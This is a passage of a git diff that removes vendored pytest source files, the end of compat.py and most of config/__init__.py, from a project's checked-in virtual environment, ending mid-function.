function object ourselves with a - decorator to issue warnings when the fixture function is called directly. - """ - - obj: Any - - -def get_real_func(obj): - """Get the real function object of the (possibly) wrapped object by - functools.wraps or functools.partial.""" - start_obj = obj - for i in range(100): - # __pytest_wrapped__ is set by @pytest.fixture when wrapping the fixture function - # to trigger a warning if it gets called directly instead of by pytest: we don't - # want to unwrap further than this otherwise we lose useful wrappings like @mock.patch (#3774) - new_obj = getattr(obj, "__pytest_wrapped__", None) - if isinstance(new_obj, _PytestWrapper): - obj = new_obj.obj - break - new_obj = getattr(obj, "__wrapped__", None) - if new_obj is None: - break - obj = new_obj - else: - from _pytest._io.saferepr import saferepr - - raise ValueError( - f"could not find real function of {saferepr(start_obj)}\nstopped at {saferepr(obj)}" - ) - if isinstance(obj, functools.partial): - obj = obj.func - return obj - - -def get_real_method(obj, holder): - """Attempt to obtain the real function object that might be wrapping - ``obj``, while at the same time returning a bound method to ``holder`` if - the original object was a bound method.""" - try: - is_method = hasattr(obj, "__func__") - obj = get_real_func(obj) - except Exception: # pragma: no cover - return obj - if is_method and hasattr(obj, "__get__") and callable(obj.__get__): - obj = obj.__get__(holder) - return obj - - -def getimfunc(func): - try: - return func.__func__ - except AttributeError: - return func - - -def safe_getattr(object: Any, name: str, default: Any) -> Any: - """Like getattr but return default upon any Exception or any OutcomeException. - - Attribute access can potentially fail for 'evil' Python objects. - See issue #214. - It catches OutcomeException because of #2490 (issue #580), new outcomes - are derived from BaseException instead of Exception (for more details - check #2707). - """ - from _pytest.outcomes import TEST_OUTCOME - - try: - return getattr(object, name, default) - except TEST_OUTCOME: - return default - - -def safe_isclass(obj: object) -> bool: - """Ignore any exception via isinstance on Python 3.""" - try: - return inspect.isclass(obj) - except Exception: - return False - - -def get_user_id() -> int | None: - """Return the current process's real user id or None if it could not be - determined. - - :return: The user id or None if it could not be determined. - """ - # mypy follows the version and platform checking expectation of PEP 484: - # https://mypy.readthedocs.io/en/stable/common_issues.html?highlight=platform#python-version-and-system-platform-checks - # Containment checks are too complex for mypy v1.5.0 and cause failure. - if sys.platform == "win32" or sys.platform == "emscripten": - # win32 does not have a getuid() function. - # Emscripten has a return 0 stub. - return None - else: - # On other platforms, a return value of -1 is assumed to indicate that - # the current process's real user id could not be determined. - ERROR = -1 - uid = os.getuid() - return uid if uid != ERROR else None - - -# Perform exhaustiveness checking. -# -# Consider this example: -# -# MyUnion = Union[int, str] -# -# def handle(x: MyUnion) -> int { -# if isinstance(x, int): -# return 1 -# elif isinstance(x, str): -# return 2 -# else: -# raise Exception('unreachable') -# -# Now suppose we add a new variant: -# -# MyUnion = Union[int, str, bytes] -# -# After doing this, we must remember ourselves to go and update the handle -# function to handle the new variant. -# -# With `assert_never` we can do better: -# -# // raise Exception('unreachable') -# return assert_never(x) -# -# Now, if we forget to handle the new variant, the type-checker will emit a -# compile-time error, instead of the runtime error we would have gotten -# previously. -# -# This also work for Enums (if you use `is` to compare) and Literals. -def assert_never(value: NoReturn) -> NoReturn: - assert False, f"Unhandled value: {value} ({type(value).__name__})" diff --git a/backend/venv/Lib/site-packages/_pytest/config/__init__.py b/backend/venv/Lib/site-packages/_pytest/config/__init__.py deleted file mode 100644 index 0c1850df..00000000 --- a/backend/venv/Lib/site-packages/_pytest/config/__init__.py +++ /dev/null @@ -1,1968 +0,0 @@ -# mypy: allow-untyped-defs -"""Command line options, ini-file and conftest.py processing.""" - -from __future__ import annotations - -import argparse -import collections.abc -import copy -import dataclasses -import enum -from functools import lru_cache -import glob -import importlib.metadata -import inspect -import os -import pathlib -import re -import shlex -import sys -from textwrap import dedent -import types -from types import FunctionType -from typing import Any -from typing import Callable -from typing import cast -from typing import Final -from typing import final -from typing import Generator -from typing import IO -from typing import Iterable -from typing import Iterator -from typing import Sequence -from typing import TextIO -from typing import Type -from typing import TYPE_CHECKING -import warnings - -import pluggy -from pluggy import HookimplMarker -from pluggy import HookimplOpts -from pluggy import HookspecMarker -from pluggy import HookspecOpts -from pluggy import PluginManager - -from .compat import PathAwareHookProxy -from .exceptions import PrintHelp as PrintHelp -from .exceptions import UsageError as UsageError -from .findpaths import determine_setup -from _pytest import __version__ -import _pytest._code -from _pytest._code import ExceptionInfo -from _pytest._code import filter_traceback -from _pytest._code.code import TracebackStyle -from _pytest._io import TerminalWriter -from _pytest.config.argparsing import Argument -from _pytest.config.argparsing import Parser -import _pytest.deprecated -import _pytest.hookspec -from _pytest.outcomes import fail -from _pytest.outcomes import Skipped -from _pytest.pathlib import absolutepath -from _pytest.pathlib import bestrelpath -from _pytest.pathlib import import_path -from _pytest.pathlib import ImportMode -from _pytest.pathlib import resolve_package_path -from _pytest.pathlib import safe_exists -from _pytest.stash import Stash -from _pytest.warning_types import PytestConfigWarning -from _pytest.warning_types import warn_explicit_for - - -if TYPE_CHECKING: - from _pytest.cacheprovider import Cache - from _pytest.terminal import TerminalReporter - - -_PluggyPlugin = object -"""A type to represent plugin objects. - -Plugins can be any namespace, so we can't narrow it down much, but we use an -alias to make the intent clear. - -Ideally this type would be provided by pluggy itself. -""" - - -hookimpl = HookimplMarker("pytest") -hookspec = HookspecMarker("pytest") - - -@final -class ExitCode(enum.IntEnum): - """Encodes the valid exit codes by pytest. - - Currently users and plugins may supply other exit codes as well. - - .. versionadded:: 5.0 - """ - - #: Tests passed. - OK = 0 - #: Tests failed. - TESTS_FAILED = 1 - #: pytest was interrupted. - INTERRUPTED = 2 - #: An internal error got in the way. - INTERNAL_ERROR = 3 - #: pytest was misused. - USAGE_ERROR = 4 - #: pytest couldn't find tests. - NO_TESTS_COLLECTED = 5 - - -class ConftestImportFailure(Exception): - def __init__( - self, - path: pathlib.Path, - *, - cause: Exception, - ) -> None: - self.path = path - self.cause = cause - - def __str__(self) -> str: - return f"{type(self.cause).__name__}: {self.cause} (from {self.path})" - - -def filter_traceback_for_conftest_import_failure( - entry: _pytest._code.TracebackEntry, -) -> bool: - """Filter tracebacks entries which point to pytest internals or importlib. - - Make a special case for importlib because we use it to import test modules and conftest files - in _pytest.pathlib.import_path. - """ - return filter_traceback(entry) and "importlib" not in str(entry.path).split(os.sep) - - -def main( - args: list[str] | os.PathLike[str] | None = None, - plugins: Sequence[str | _PluggyPlugin] | None = None, -) -> int | ExitCode: - """Perform an in-process test run. - - :param args: - List of command line arguments. If `None` or not given, defaults to reading - arguments directly from the process command line (:data:`sys.argv`). - :param plugins: List of plugin objects to be auto-registered during initialization. - - :returns: An exit code. - """ - old_pytest_version = os.environ.get("PYTEST_VERSION") - try: - os.environ["PYTEST_VERSION"] = __version__ - try: - config = _prepareconfig(args, plugins) - except ConftestImportFailure as e: - exc_info = ExceptionInfo.from_exception(e.cause) - tw = TerminalWriter(sys.stderr) - tw.line(f"ImportError while loading conftest '{e.path}'.", red=True) - exc_info.traceback = exc_info.traceback.filter( - filter_traceback_for_conftest_import_failure - ) - exc_repr = ( - exc_info.getrepr(style="short", chain=False) - if exc_info.traceback - else exc_info.exconly() - ) - formatted_tb = str(exc_repr) - for line in formatted_tb.splitlines(): - tw.line(line.rstrip(), red=True) - return ExitCode.USAGE_ERROR - else: - try: - ret: ExitCode | int = config.hook.pytest_cmdline_main(config=config) - try: - return ExitCode(ret) - except ValueError: - return ret - finally: - config._ensure_unconfigure() - except UsageError as e: - tw = TerminalWriter(sys.stderr) - for msg in e.args: - tw.line(f"ERROR: {msg}\n", red=True) - return ExitCode.USAGE_ERROR - finally: - if old_pytest_version is None: - os.environ.pop("PYTEST_VERSION", None) - else: - os.environ["PYTEST_VERSION"] = old_pytest_version - - -def console_main() -> int: - """The CLI entry point of pytest. - - This function is not meant for programmable use; use `main()` instead. - """ - # https://docs.python.org/3/library/signal.html#note-on-sigpipe - try: - code = main() - sys.stdout.flush() - return code - except BrokenPipeError: - # Python flushes standard streams on exit; redirect remaining output - # to devnull to avoid another BrokenPipeError at shutdown - devnull = os.open(os.devnull, os.O_WRONLY) - os.dup2(devnull, sys.stdout.fileno()) - return 1 # Python exits with error code 1 on EPIPE - - -class cmdline: # compatibility namespace - main = staticmethod(main) - - -def filename_arg(path: str, optname: str) -> str: - """Argparse type validator for filename arguments. - - :path: Path of filename. - :optname: Name of the option. - """ - if os.path.isdir(path): - raise UsageError(f"{optname} must be a filename, given: {path}") - return path - - -def directory_arg(path: str, optname: str) -> str: - """Argparse type validator for directory arguments. - - :path: Path of directory. - :optname: Name of the option. - """ - if not os.path.isdir(path): - raise UsageError(f"{optname} must be a directory, given: {path}") - return path - - -# Plugins that cannot be disabled via "-p no:X" currently. -essential_plugins = ( - "mark", - "main", - "runner", - "fixtures", - "helpconfig", # Provides -p. -) - -default_plugins = ( - *essential_plugins, - "python", - "terminal", - "debugging", - "unittest", - "capture", - "skipping", - "legacypath", - "tmpdir", - "monkeypatch", - "recwarn", - "pastebin", - "assertion", - "junitxml", - "doctest", - "cacheprovider", - "freeze_support", - "setuponly", - "setupplan", - "stepwise", - "warnings", - "logging", - "reports", - "python_path", - "unraisableexception", - "threadexception", - "faulthandler", -) - -builtin_plugins = set(default_plugins) -builtin_plugins.add("pytester") -builtin_plugins.add("pytester_assertions") - - -def get_config( - args: list[str] | None = None, - plugins: Sequence[str | _PluggyPlugin] | None = None, -) -> Config: - # subsequent calls to main will create a fresh instance - pluginmanager = PytestPluginManager() - config = Config( - pluginmanager, - invocation_params=Config.InvocationParams( - args=args or (), - plugins=plugins, - dir=pathlib.Path.cwd(), - ), - ) - - if args is not None: - # Handle any "-p no:plugin" args. - pluginmanager.consider_preparse(args, exclude_only=True) - - for spec in default_plugins: - pluginmanager.import_plugin(spec) - - return config - - -def get_plugin_manager() -> PytestPluginManager: - """Obtain a new instance of the - :py:class:`pytest.PytestPluginManager`, with default plugins - already loaded. - - This function can be used by integration with other tools, like hooking - into pytest to run tests into an IDE. - """ - return get_config().pluginmanager - - -def _prepareconfig( - args: list[str] | os.PathLike[str] | None = None, - plugins: Sequence[str | _PluggyPlugin] | None = None, -) -> Config: - if args is None: - args = sys.argv[1:] - elif isinstance(args, os.PathLike): - args = [os.fspath(args)] - elif not isinstance(args, list): - msg = ( # type:ignore[unreachable] - "`args` parameter expected to be a list of strings, got: {!r} (type: {})" - ) - raise TypeError(msg.format(args, type(args))) - - config = get_config(args, plugins) - pluginmanager = config.pluginmanager - try: - if plugins: - for plugin in plugins: - if isinstance(plugin, str): - pluginmanager.consider_pluginarg(plugin) - else: - pluginmanager.register(plugin) - config = pluginmanager.hook.pytest_cmdline_parse( - pluginmanager=pluginmanager, args=args - ) - return config - except BaseException: - config._ensure_unconfigure() - raise - - -def _get_directory(path: pathlib.Path) -> pathlib.Path: - """Get the directory of a path - itself if already a directory.""" - if path.is_file(): - return path.parent - else: - return path - - -def _get_legacy_hook_marks( - method: Any, - hook_type: str, - opt_names: tuple[str, ...], -) -> dict[str, bool]: - if TYPE_CHECKING: - # abuse typeguard from importlib to avoid massive method type union thats lacking a alias - assert inspect.isroutine(method) - known_marks: set[str] = {m.name for m in getattr(method, "pytestmark", [])} - must_warn: list[str] = [] - opts: dict[str, bool] = {} - for opt_name in opt_names: - opt_attr = getattr(method, opt_name, AttributeError) - if opt_attr is not AttributeError: - must_warn.append(f"{opt_name}={opt_attr}") - opts[opt_name] = True - elif opt_name in known_marks: - must_warn.append(f"{opt_name}=True") - opts[opt_name] = True - else: - opts[opt_name] = False - if must_warn: - hook_opts = ", ".join(must_warn) - message = _pytest.deprecated.HOOK_LEGACY_MARKING.format( - type=hook_type, - fullname=method.__qualname__, - hook_opts=hook_opts, - ) - warn_explicit_for(cast(FunctionType, method), message) - return opts - - -@final -class PytestPluginManager(PluginManager): - """A :py:class:`pluggy.PluginManager ` with - additional pytest-specific functionality: - - * Loading plugins from the command line, ``PYTEST_PLUGINS`` env variable and - ``pytest_plugins`` global variables found in plugins being loaded. - * ``conftest.py`` loading during start-up. - """ - - def __init__(self) -> None: - import _pytest.assertion - - super().__init__("pytest") - - # -- State related to local conftest plugins. - # All loaded conftest modules. - self._conftest_plugins: set[types.ModuleType] = set() - # All conftest modules applicable for a directory. - # This includes the directory's own conftest modules as well - # as those of its parent directories. - self._dirpath2confmods: dict[pathlib.Path, list[types.ModuleType]] = {} - # Cutoff directory above which conftests are no longer discovered. - self._confcutdir: pathlib.Path | None = None - # If set, conftest loading is skipped. - self._noconftest = False - - # _getconftestmodules()'s call to _get_directory() causes a stat - # storm when it's called potentially thousands of times in a test - # session (#9478), often with the same path, so cache it. - self._get_directory = lru_cache(256)(_get_directory) - - # plugins that were explicitly skipped with pytest.skip - # list of (module name, skip reason) - # previously we would issue a warning when a plugin was skipped, but - # since we refactored warnings as first citizens of Config, they are - # just stored here to be used later. - self.skipped_plugins: list[tuple[str, str]] = [] - - self.add_hookspecs(_pytest.hookspec) - self.register(self) - if os.environ.get("PYTEST_DEBUG"): - err: IO[str] = sys.stderr - encoding: str = getattr(err, "encoding", "utf8") - try: - err = open( - os.dup(err.fileno()), - mode=err.mode, - buffering=1, - encoding=encoding, - ) - except Exception: - pass - self.trace.root.setwriter(err.write) - self.enable_tracing() - - # Config._consider_importhook will set a real object if required. - self.rewrite_hook = _pytest.assertion.DummyRewriteHook() - # Used to know when we are importing conftests after the pytest_configure stage. - self._configured = False - - def parse_hookimpl_opts( - self, plugin: _PluggyPlugin, name: str - ) -> HookimplOpts | None: - """:meta private:""" - # pytest hooks are always prefixed with "pytest_", - # so we avoid accessing possibly non-readable attributes - # (see issue #1073). - if not name.startswith("pytest_"): - return None - # Ignore names which cannot be hooks. - if name == "pytest_plugins": - return None - - opts = super().parse_hookimpl_opts(plugin, name) - if opts is not None: - return opts - - method = getattr(plugin, name) - # Consider only actual functions for hooks (#3775). - if not inspect.isroutine(method): - return None - # Collect unmarked hooks as long as they have the `pytest_' prefix. - return _get_legacy_hook_marks( # type: ignore[return-value] - method, "impl", ("tryfirst", "trylast", "optionalhook", "hookwrapper") - ) - - def parse_hookspec_opts(self, module_or_class, name: str) -> HookspecOpts | None: - """:meta private:""" - opts = super().parse_hookspec_opts(module_or_class, name) - if opts is None: - method = getattr(module_or_class, name) - if name.startswith("pytest_"): - opts = _get_legacy_hook_marks( # type: ignore[assignment] - method, - "spec", - ("firstresult", "historic"), - ) - return opts - - def register(self, plugin: _PluggyPlugin, name: str | None = None) -> str | None: - if name in _pytest.deprecated.DEPRECATED_EXTERNAL_PLUGINS: - warnings.warn( - PytestConfigWarning( - "{} plugin has been merged into the core, " - "please remove it from your requirements.".format( - name.replace("_", "-") - ) - ) - ) - return None - plugin_name = super().register(plugin, name) - if plugin_name is not None: - self.hook.pytest_plugin_registered.call_historic( - kwargs=dict( - plugin=plugin, - plugin_name=plugin_name, - manager=self, - ) - ) - - if isinstance(plugin, types.ModuleType): - self.consider_module(plugin) - return plugin_name - - def getplugin(self, name: str): - # Support deprecated naming because plugins (xdist e.g.) use it. - plugin: _PluggyPlugin | None = self.get_plugin(name) - return plugin - - def hasplugin(self, name: str) -> bool: - """Return whether a plugin with the given name is registered.""" - return bool(self.get_plugin(name)) - - def pytest_configure(self, config: Config) -> None: - """:meta private:""" - # XXX now that the pluginmanager exposes hookimpl(tryfirst...) - # we should remove tryfirst/trylast as markers. - config.addinivalue_line( - "markers", - "tryfirst: mark a hook implementation function such that the " - "plugin machinery will try to call it first/as early as possible. " - "DEPRECATED, use @pytest.hookimpl(tryfirst=True) instead.", - ) - config.addinivalue_line( - "markers", - "trylast: mark a hook implementation function such that the " - "plugin machinery will try to call it last/as late as possible. " - "DEPRECATED, use @pytest.hookimpl(trylast=True) instead.", - ) - self._configured = True - - # - # Internal API for local conftest plugin handling. - # - def _set_initial_conftests( - self, - args: Sequence[str | pathlib.Path], - pyargs: bool, - noconftest: bool, - rootpath: pathlib.Path, - confcutdir: pathlib.Path | None, - invocation_dir: pathlib.Path, - importmode: ImportMode | str, - *, - consider_namespace_packages: bool, - ) -> None: - """Load initial conftest files given a preparsed "namespace". - - As conftest files may add their own command line options which have - arguments ('--my-opt somepath') we might get some false positives. - All builtin and 3rd party plugins will have been loaded, however, so - common options will not confuse our logic here. - """ - self._confcutdir = ( - absolutepath(invocation_dir / confcutdir) if confcutdir else None - ) - self._noconftest = noconftest - self._using_pyargs = pyargs - foundanchor = False - for initial_path in args: - path = str(initial_path) - # remove node-id syntax - i = path.find("::") - if i != -1: - path = path[:i] - anchor = absolutepath(invocation_dir / path) - - # Ensure we do not break if what appears to be an anchor - # is in fact a very long option (#10169, #11394). - if safe_exists(anchor): - self._try_load_conftest( - anchor, - importmode, - rootpath, - consider_namespace_packages=consider_namespace_packages, - ) - foundanchor = True - if not foundanchor: - self._try_load_conftest( - invocation_dir, - importmode, - rootpath, - consider_namespace_packages=consider_namespace_packages, - ) - - def _is_in_confcutdir(self, path: pathlib.Path) -> bool: - """Whether to consider the given path to load conftests from.""" - if self._confcutdir is None: - return True - # The semantics here are literally: - # Do not load a conftest if it is found upwards from confcut dir. - # But this is *not* the same as: - # Load only conftests from confcutdir or below. - # At first glance they might seem the same thing, however we do support use cases where - # we want to load conftests that are not found in confcutdir or below, but are found - # in completely different directory hierarchies like packages installed - # in out-of-source trees. - # (see #9767 for a regression where the logic was inverted). - return path not in self._confcutdir.parents - - def _try_load_conftest( - self, - anchor: pathlib.Path, - importmode: str | ImportMode, - rootpath: pathlib.Path, - *, - consider_namespace_packages: bool, - ) -> None: - self._loadconftestmodules( - anchor, - importmode, - rootpath, - consider_namespace_packages=consider_namespace_packages, - ) - # let's also consider test* subdirs - if anchor.is_dir(): - for x in anchor.glob("test*"): - if x.is_dir(): - self._loadconftestmodules( - x, - importmode, - rootpath, - consider_namespace_packages=consider_namespace_packages, - ) - - def _loadconftestmodules( - self, - path: pathlib.Path, - importmode: str | ImportMode, - rootpath: pathlib.Path, - *, - consider_namespace_packages: bool, - ) -> None: - if self._noconftest: - return - - directory = self._get_directory(path) - - # Optimization: avoid repeated searches in the same directory. - # Assumes always called with same importmode and rootpath. - if directory in self._dirpath2confmods: - return - - clist = [] - for parent in reversed((directory, *directory.parents)): - if self._is_in_confcutdir(parent): - conftestpath = parent / "conftest.py" - if conftestpath.is_file(): - mod = self._importconftest( - conftestpath, - importmode, - rootpath, - consider_namespace_packages=consider_namespace_packages, - ) - clist.append(mod) - self._dirpath2confmods[directory] = clist - - def _getconftestmodules(self, path: pathlib.Path) -> Sequence[types.ModuleType]: - directory = self._get_directory(path) - return self._dirpath2confmods.get(directory, ()) - - def _rget_with_confmod( - self, - name: str, - path: pathlib.Path, - ) -> tuple[types.ModuleType, Any]: - modules = self._getconftestmodules(path) - for mod in reversed(modules): - try: - return mod, getattr(mod, name) - except AttributeError: - continue - raise KeyError(name) - - def _importconftest( - self, - conftestpath: pathlib.Path, - importmode: str | ImportMode, - rootpath: pathlib.Path, - *, - consider_namespace_packages: bool, - ) -> types.ModuleType: - conftestpath_plugin_name = str(conftestpath) - existing = self.get_plugin(conftestpath_plugin_name) - if existing is not None: - return cast(types.ModuleType, existing) - - # conftest.py files there are not in a Python package all have module - # name "conftest", and thus conflict with each other. Clear the existing - # before loading the new one, otherwise the existing one will be - # returned from the module cache. - pkgpath = resolve_package_path(conftestpath) - if pkgpath is None: - try: - del sys.modules[conftestpath.stem] - except KeyError: - pass - - try: - mod = import_path( - conftestpath, - mode=importmode, - root=rootpath, - consider_namespace_packages=consider_namespace_packages, - ) - except Exception as e: - assert e.__traceback__ is not None - raise ConftestImportFailure(conftestpath, cause=e) from e - - self._check_non_top_pytest_plugins(mod, conftestpath) - - self._conftest_plugins.add(mod) - dirpath = conftestpath.parent - if dirpath in self._dirpath2confmods: - for path, mods in self._dirpath2confmods.items(): - if dirpath in path.parents or path == dirpath: - if mod in mods: - raise AssertionError( - f"While trying to load conftest path {conftestpath!s}, " - f"found that the module {mod} is already loaded with path {mod.__file__}. " - "This is not supposed to happen. Please report this issue to pytest." - ) - mods.append(mod) - self.trace(f"loading conftestmodule {mod!r}") - self.consider_conftest(mod, registration_name=conftestpath_plugin_name) - return mod - - def _check_non_top_pytest_plugins( - self, - mod: types.ModuleType, - conftestpath: pathlib.Path, - ) -> None: - if ( - hasattr(mod, "pytest_plugins") - and self._configured - and not self._using_pyargs - ): - msg = ( - "Defining 'pytest_plugins' in a non-top-level conftest is no longer supported:\n" - "It affects the entire test suite instead of just below the conftest as expected.\n" - " {}\n" - "Please move it to a top level conftest file at the rootdir:\n" - " {}\n" - "For more information, visit:\n" - " https://docs.pytest.org/en/stable/deprecations.html#pytest-plugins-in-non-top-level-conftest-files" - ) - fail(msg.format(conftestpath, self._confcutdir), pytrace=False) - - # - # API for bootstrapping plugin loading - # - # - - def consider_preparse( - self, args: Sequence[str], *, exclude_only: bool = False - ) -> None: - """:meta private:""" - i = 0 - n = len(args) - while i < n: - opt = args[i] - i += 1 - if isinstance(opt, str): - if opt == "-p": - try: - parg = args[i] - except IndexError: - return - i += 1 - elif opt.startswith("-p"): - parg = opt[2:] - else: - continue - parg = parg.strip() - if exclude_only and not parg.startswith("no:"): - continue - self.consider_pluginarg(parg) - - def consider_pluginarg(self, arg: str) -> None: - """:meta private:""" - if arg.startswith("no:"): - name = arg[3:] - if name in essential_plugins: - raise UsageError(f"plugin {name} cannot be disabled") - - # PR #4304: remove stepwise if cacheprovider is blocked. - if name == "cacheprovider": - self.set_blocked("stepwise") - self.set_blocked("pytest_stepwise") - - self.set_blocked(name) - if not name.startswith("pytest_"): - self.set_blocked("pytest_" + name) - else: - name = arg - # Unblock the plugin. - self.unblock(name) - if not name.startswith("pytest_"): - self.unblock("pytest_" + name) - self.import_plugin(arg, consider_entry_points=True) - - def consider_conftest( - self, conftestmodule: types.ModuleType, registration_name: str - ) -> None: - """:meta private:""" - self.register(conftestmodule, name=registration_name) - - def consider_env(self) -> None: - """:meta private:""" - self._import_plugin_specs(os.environ.get("PYTEST_PLUGINS")) - - def consider_module(self, mod: types.ModuleType) -> None: - """:meta private:""" - self._import_plugin_specs(getattr(mod, "pytest_plugins", [])) - - def _import_plugin_specs( - self, spec: None | types.ModuleType | str | Sequence[str] - ) -> None: - plugins = _get_plugin_specs_as_list(spec) - for import_spec in plugins: - self.import_plugin(import_spec) - - def import_plugin(self, modname: str, consider_entry_points: bool = False) -> None: - """Import a plugin with ``modname``. - - If ``consider_entry_points`` is True, entry point names are also - considered to find a plugin. - """ - # Most often modname refers to builtin modules, e.g. "pytester", - # "terminal" or "capture". Those plugins are registered under their - # basename for historic purposes but must be imported with the - # _pytest prefix. - assert isinstance( - modname, str - ), f"module name as text required, got {modname!r}" - if self.is_blocked(modname) or self.get_plugin(modname) is not None: - return - - importspec = "_pytest." + modname if modname in builtin_plugins else modname - self.rewrite_hook.mark_rewrite(importspec) - - if consider_entry_points: - loaded = self.load_setuptools_entrypoints("pytest11", name=modname) - if loaded: - return - - try: - __import__(importspec) - except ImportError as e: - raise ImportError( - f'Error importing plugin "{modname}": {e.args[0]}' - ).with_traceback(e.__traceback__) from e - - except Skipped as e: - self.skipped_plugins.append((modname, e.msg or "")) - else: - mod = sys.modules[importspec] - self.register(mod, modname) - - -def _get_plugin_specs_as_list( - specs: None | types.ModuleType | str | Sequence[str], -) -> list[str]: - """Parse a plugins specification into a list of plugin names.""" - # None means empty. - if specs is None: - return [] - # Workaround for #3899 - a submodule which happens to be called "pytest_plugins". - if isinstance(specs, types.ModuleType): - return [] - # Comma-separated list. - if isinstance(specs, str): - return specs.split(",") if specs else [] - # Direct specification. - if isinstance(specs, collections.abc.Sequence): - return list(specs) - raise UsageError( - f"Plugins may be specified as a sequence or a ','-separated string of plugin names. Got: {specs!r}" - ) - - -class Notset: - def __repr__(self): - return "" - - -notset = Notset() - - -def _iter_rewritable_modules(package_files: Iterable[str]) -> Iterator[str]: - """Given an iterable of file names in a source distribution, return the "names" that should - be marked for assertion rewrite. - - For example the package "pytest_mock/__init__.py" should be added as "pytest_mock" in - the assertion rewrite mechanism. - - This function has to deal with dist-info based distributions and egg based distributions - (which are still very much in use for "editable" installs). - - Here are the file names as seen in a dist-info based distribution: - - pytest_mock/__init__.py - pytest_mock/_version.py - pytest_mock/plugin.py - pytest_mock.egg-info/PKG-INFO - - Here are the file names as seen in an egg based distribution: - - src/pytest_mock/__init__.py - src/pytest_mock/_version.py - src/pytest_mock/plugin.py - src/pytest_mock.egg-info/PKG-INFO - LICENSE - setup.py - - We have to take in account those two distribution flavors in order to determine which - names should be considered for assertion rewriting. - - More information: - https://github.com/pytest-dev/pytest-mock/issues/167 - """ - package_files = list(package_files) - seen_some = False - for fn in package_files: - is_simple_module = "/" not in fn and fn.endswith(".py") - is_package = fn.count("/") == 1 and fn.endswith("__init__.py") - if is_simple_module: - module_name, _ = os.path.splitext(fn) - # we ignore "setup.py" at the root of the distribution - # as well as editable installation finder modules made by setuptools - if module_name != "setup" and not module_name.startswith("__editable__"): - seen_some = True - yield module_name - elif is_package: - package_name = os.path.dirname(fn) - seen_some = True - yield package_name - - if not seen_some: - # At this point we did not find any packages or modules suitable for assertion - # rewriting, so we try again by stripping the first path component (to account for - # "src" based source trees for example). - # This approach lets us have the common case continue to be fast, as egg-distributions - # are rarer. - new_package_files = [] - for fn in package_files: - parts = fn.split("/") - new_fn = "/".join(parts[1:]) - if new_fn: - new_package_files.append(new_fn) - if new_package_files: - yield from _iter_rewritable_modules(new_package_files) - - -@final -class Config: - """Access to configuration values, pluginmanager and plugin hooks. - - :param PytestPluginManager pluginmanager: - A pytest PluginManager. - - :param InvocationParams invocation_params: - Object containing parameters regarding the :func:`pytest.main` - invocation. - """ - - @final - @dataclasses.dataclass(frozen=True) - class InvocationParams: - """Holds parameters passed during :func:`pytest.main`. - - The object attributes are read-only. - - .. versionadded:: 5.1 - - .. note:: - - Note that the environment variable ``PYTEST_ADDOPTS`` and the ``addopts`` - ini option are handled by pytest, not being included in the ``args`` attribute. - - Plugins accessing ``InvocationParams`` must be aware of that. - """ - - args: tuple[str, ...] - """The command-line arguments as passed to :func:`pytest.main`.""" - plugins: Sequence[str | _PluggyPlugin] | None - """Extra plugins, might be `None`.""" - dir: pathlib.Path - """The directory from which :func:`pytest.main` was invoked. :type: pathlib.Path""" - - def __init__( - self, - *, - args: Iterable[str], - plugins: Sequence[str | _PluggyPlugin] | None, - dir: pathlib.Path, - ) -> None: - object.__setattr__(self, "args", tuple(args)) - object.__setattr__(self, "plugins", plugins) - object.__setattr__(self, "dir", dir) - - class ArgsSource(enum.Enum): - """Indicates the source of the test arguments. - - .. versionadded:: 7.2 - """ - - #: Command line arguments. - ARGS = enum.auto() - #: Invocation directory. - INVOCATION_DIR = enum.auto() - INCOVATION_DIR = INVOCATION_DIR # backwards compatibility alias - #: 'testpaths' configuration value. - TESTPATHS = enum.auto() - - # Set by cacheprovider plugin. - cache: Cache - - def __init__( - self, - pluginmanager: PytestPluginManager, - *, - invocation_params: InvocationParams | None = None, - ) -> None: - from .argparsing import FILE_OR_DIR - from .argparsing import Parser - - if invocation_params is None: - invocation_params = self.InvocationParams( - args=(), plugins=None, dir=pathlib.Path.cwd() - ) - - self.option = argparse.Namespace() - """Access to command line option as attributes. - - :type: argparse.Namespace - """ - - self.invocation_params = invocation_params - """The parameters with which pytest was invoked. - - :type: InvocationParams - """ - - _a = FILE_OR_DIR - self._parser = Parser( - usage=f"%(prog)s [options] [{_a}] [{_a}] [...]", - processopt=self._processopt, - _ispytest=True, - ) - self.pluginmanager = pluginmanager - """The plugin manager handles plugin registration and hook invocation. - - :type: PytestPluginManager - """ - - self.stash = Stash() - """A place where plugins can store information on the config for their - own use. - - :type: Stash - """ - # Deprecated alias. Was never public. Can be removed in a few releases. - self._store = self.stash - - self.trace = self.pluginmanager.trace.root.get("config") - self.hook: pluggy.HookRelay = PathAwareHookProxy(self.pluginmanager.hook) # type: ignore[assignment] - self._inicache: dict[str, Any] = {} - self._override_ini: Sequence[str] = () - self._opt2dest: dict[str, str] = {} - self._cleanup: list[Callable[[], None]] = [] - self.pluginmanager.register(self, "pytestconfig") - self._configured = False - self.hook.pytest_addoption.call_historic( - kwargs=dict(parser=self._parser, pluginmanager=self.pluginmanager) - ) - self.args_source = Config.ArgsSource.ARGS - self.args: list[str] = [] - - @property - def rootpath(self) -> pathlib.Path: - """The path to the :ref:`rootdir `. - - :type: pathlib.Path - - .. versionadded:: 6.1 - """ - return self._rootpath - - @property - def inipath(self) -> pathlib.Path | None: - """The path to the :ref:`configfile `. - - .. versionadded:: 6.1 - """ - return self._inipath - - def add_cleanup(self, func: Callable[[], None]) -> None: - """Add a function to be called when the config object gets out of - use (usually coinciding with pytest_unconfigure).""" - self._cleanup.append(func) - - def _do_configure(self) -> None: - assert not self._configured - self._configured = True - with warnings.catch_warnings(): - warnings.simplefilter("default") - self.hook.pytest_configure.call_historic(kwargs=dict(config=self)) - - def _ensure_unconfigure(self) -> None: - if self._configured: - self._configured = False - self.hook.pytest_unconfigure(config=self) - self.hook.pytest_configure._call_history = [] - while self._cleanup: - fin = self._cleanup.pop() - fin() - - def get_terminal_writer(self) -> TerminalWriter: - terminalreporter: TerminalReporter | None = self.pluginmanager.get_plugin( - "terminalreporter" - ) - assert terminalreporter is not None - return terminalreporter._tw - - def pytest_cmdline_parse( - self, pluginmanager: PytestPluginManager, args: list[str] - ) -> Config: - try: - self.parse(args) - except UsageError: - # Handle --version and --help here in a minimal fashion. - # This gets done via helpconfig normally, but its - # pytest_cmdline_main is not called in case of errors. - if getattr(self.option, "version", False) or "--version" in args: - from _pytest.helpconfig import showversion - - showversion(self) - elif ( - getattr(self.option, "help", False) or "--help" in args or "-h" in args - ): - self._parser._getparser().print_help() - sys.stdout.write( - "\nNOTE: displaying only minimal help due to UsageError.\n\n" - ) - - raise - - return self - - def notify_exception( - self, - excinfo: 